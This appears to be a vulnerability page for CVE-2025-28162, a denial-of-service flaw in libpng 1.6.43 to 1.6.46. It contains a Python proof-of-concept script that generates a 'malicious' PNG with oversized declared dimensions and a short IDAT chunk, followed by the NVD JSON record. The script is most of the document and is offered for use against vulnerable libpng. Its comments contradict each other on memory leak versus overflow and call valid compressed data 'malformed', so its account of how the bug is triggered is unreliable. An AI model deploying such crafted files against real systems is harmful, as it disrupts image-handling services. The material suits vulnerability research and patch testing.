CVE-2025-28162

import struct import zlib def create_malicious_png(): """ Generate a malicious PNG file to trigger CVE-2025-28162 This PoC creates a crafted PNG that causes memory leak in libpng 1.6.43-1.6.46 """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - Image header # Width: 10000, Height: 10000, Bit depth: 8, Color type: 2 (RGB) ihdr_data = struct.pack('>IIBBBBB', 10000, 10000, 8, 2, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk - Image data (truncated to trigger overflow) # Malformed compressed data that causes buffer issues raw_data = b'\x00' * 100000 # Large amount of filter bytes compressed_data = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc) # IEND chunk - Image end iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) # Write malicious PNG with open('malicious_cve_2025_28162.png', 'wb') as f: f.write(png_signature + ihdr_chunk + idat_chunk + iend_chunk) print("Malicious PNG created: malicious_cve_2025_28162.png") print("Use with vulnerable libpng 1.6.43-1.6.46 and AddressSanitizer") if __name__ == '__main__': create_malicious_png()

{"cve": {"id": "CVE-2025-28162", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:14.630", "lastModified": "2026-02-06T20:06:44.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in libpng 1.6.43-1.6.46 allows a local attacker to cause a denial of service via the pngimage with AddressSanitizer (ASan), the program leaks memory in various locations, eventually leading to high memory usage and causing the program to become unresponsive"}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer en libpng 1.6.43-1.6.46 permite a un atacante local causar una denegación de servicio a través de pngimage con AddressSanitizer (ASan), el programa filtra memoria en varias ubicaciones, lo que eventualmente lleva a un gran uso de memoria y hace que el programa deje de responder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.43", "versionEndIncluding": "1.6.46", "matchCriteriaId": "A0F7AAC0-79B6-4C89-A7F1-E61C24B0A5A7"}]}]}], "references": [{"url": "https://gist.github.com/kittener/fbfdb9b5610c6b3db0d5dea045a07c60", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/pnggroup/libpng/issues/656", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}